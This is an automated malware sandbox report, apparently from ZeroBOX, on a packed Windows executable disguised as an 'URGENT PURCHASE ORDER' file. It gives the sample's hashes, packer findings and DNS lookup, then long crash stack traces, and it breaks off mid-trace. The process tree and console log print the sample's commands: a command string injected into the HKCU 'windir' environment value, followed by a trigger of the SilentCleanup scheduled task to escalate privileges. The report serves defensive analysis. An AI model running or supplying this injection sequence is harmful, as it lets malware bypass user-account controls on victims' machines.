Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Nov. 10, 2021, 5:57 p.m.	Nov. 10, 2021, 6 p.m.

Size	832.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`2c88a95d136be447e28c6ba0c424f93e`
SHA256	`045a680f5cff3aa889bd6e366a1445dc6c9f066b6601ba69f973c77cf37a5bd2`
CRC32	`D52E93FE`
ssdeep	`6144:6ty9J2eb9Vmcc03Dl2QEE12/ggyHISePm7lDW/Bl5Wn7DYKbQAJRIl68hTnUE:R9J2ebzmccYDJ2tMIMS/n56D86mTnUE`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file

URGENT PURCHASE ORDER.exe "C:\Users\test22\AppData\Local\Temp\URGENT PURCHASE ORDER.exe"
2152
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2408
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2468
    - reg.exe reg delete hkcu\Environment /v windir /f
      2296
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      2584
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2688
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  3052
  - reg.exe reg delete hkcu\Environment /v windir /f
    2204

Name	Response	Post-Analysis Lookup
ukintl.in	A 166.62.11.19	166.62.11.19

IP Address	Status	Action
164.124.101.2	Active	Moloch
166.62.11.19	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Nov. 10, 2021, 5:58 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Nov. 10, 2021, 5:58 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	CODE
section	DATA
section	BSS

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

HGTG

One or more processes crashed (50 out of 124 events)

Time & API	Arguments	Status
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 